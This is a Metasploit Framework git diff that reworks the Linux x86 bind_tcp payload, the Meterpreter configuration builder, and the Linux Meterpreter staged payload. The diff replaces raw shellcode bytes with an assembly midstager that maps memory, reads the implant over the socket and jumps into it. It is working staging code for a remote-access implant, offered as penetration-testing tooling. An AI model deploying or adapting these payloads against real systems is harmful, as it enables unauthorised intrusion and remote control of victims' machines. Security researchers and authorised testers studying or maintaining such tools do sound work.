diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 8829dfc968..0a13ef2d40 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -44,12 +44,23 @@ module Payload::Linux::BindTcp Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string end + def generate_transport_config(opts={}) + { + :scheme => 'tcp', + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Determine the maximum amount of space required for the features requested # def required_space # Start with our cached default generated size - space = cached_size + # TODO: figure out what this should be + space = 300 # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 @@ -107,6 +118,7 @@ module Payload::Linux::BindTcp int 0x80 xchg eax,edi ; restore the socket handle add esp, 0x14 + pop ecx pop ebx pop esi diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 740b5db6c7..dd35502e31 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config def initialize(opts={}) @opts = opts + if opts[:ascii_str] && opts[:ascii_str] == true + @to_str = self.method(:to_ascii) + else + @to_str = self.method(:to_wchar_t) + end end def to_b @@ -30,13 +35,25 @@ private @opts[:arch] == ARCH_X86 end + def to_str(item, size) + @to_str.call(item, size) + end + def to_wchar_t(item, size) - item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") + to_ascii(item, size).unpack("C*").pack("v*") + end + + def to_ascii(item, size) + item.to_s.ljust(size, "\x00") end def session_block(opts) - uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE) - exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] + uuid = to_str(opts[:uuid].to_raw, UUID_SIZE) + if opts[:exitfunk] + exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] + else + exit_func = 0 + end session_data = [ 0, # comms socket, patched in by the stager @@ -63,17 +80,17 @@ private # of other stuff pack = 'A*VVV' transport_data = [ - to_wchar_t(url, URL_SIZE), # transport URL + to_str(url, URL_SIZE), # transport URL opts[:comm_timeout], # communications timeout opts[:retry_total], # retry total time opts[:retry_wait] # retry wait time ] if url.start_with?('http') - proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE) - proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_wchar_t(opts[:ua] || '', UA_SIZE) + proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE) + proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) + proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) + ua = to_str(opts[:ua] || '', UA_SIZE) cert_hash = "\x00" * CERT_HASH_SIZE cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index cd85b395cb..bd1c5de422 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -17,8 +17,8 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Meterpreter', - 'Description' => 'Staged meterpreter server', - 'Author' => ['PKS', 'egypt'], + 'Description' => 'Inject the meterpreter server payload (staged)', + 'Author' => ['PKS', 'egypt', 'OJ Reeves'], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, @@ -35,6 +35,7 @@ module Metasploit3 return ep end +=begin def elf2bin(payload) # XXX, not working. Use .c version @@ -64,31 +65,76 @@ module Metasploit3 print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") return mem[0, used] end +=end def handle_intermediate_stage(conn, payload) - # Does a mmap() / read() loop of a user specified length, then - # jumps to the entry point (the \x5a's) + entry_offset = elf_ep(payload) + config_offset = payload.length - generate_meterpreter.length - midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - - midstager << - "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + - "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + - "\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" + - "\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" + - "\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" + - "\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" + - "\xd1\xff\xff\xff" - - - # Patch in debug options - midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C')) - - # Patch entry point - midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V')) + encoded_entry = "0x%.8x" % entry_offset + encoded_offset = "0x%.8x" % config_offset + encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i # Maybe in the future patch in base. + # Does a mmap() / read() loop of a user specified length, then + # jumps to the entry point (the \x5a's) + midstager_asm = %Q^ + midstager: + and esp, 0xFFFFF254 + push 0x4 + pop edx + mov ecx, esp + mov ebx, edi + push 0x3 + pop eax + int 0x80 + push edi + mov eax, 0xC0 + mov ebx, 0x20040000 + mov ecx, dword ptr [esp+0x4] + push 0x7 + pop edx + push 0x32 + pop esi + xor edi, edi + mov ebp, edi + dec edi + int 0x80 + cmp eax, 0xFFFFFF7F + jb start_read + terminate: + xor eax, eax + inc eax + int 0x80 ; sys_exit + start_read: + xchg ecx, edx + xchg ecx, ebx + pop ebx + read_loop: + push 0x3 + pop eax + int 0x80 ; sys_read + cmp eax, 0xFFFFFF7F + ja terminate ; exit on error + test eax, eax + je terminate ; exit on error + add ecx, eax + sub edx, eax + jne read_loop ; read more + ; edx should be at the end, but we need to adjust for the size of the config + ; block so we know where to write the socket to memory + sub ecx, #{encoded_offset} + mov [ecx], ebx ; write the socket to the config + push #{encoded_debug_options} + push ecx ; pass in the configuration pointer + mov eax, #{encoded_entry} ; put the entry point in eax + call eax + jmp terminate + ^ + + midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string + print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") conn.put(midstager) Rex::ThreadSafe.sleep(1.5) @@ -100,19 +146,44 @@ module Metasploit3 end def generate_stage - #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") + meterpreter = generate_meterpreter + config = generate_config + meterpreter + config + end + + def generate_meterpreter file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") blob = File.open(file, "rb") {|f| f.read(f.stat.size) } - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i) + blob + end - return blob + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'linux', + :arch => ARCH_X86 + }) + end + + # create the configuration block, which for staged connections is really simple. + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => nil, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [ generate_transport_config(opts) ], + :extensions => [], + :ascii_str => true + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end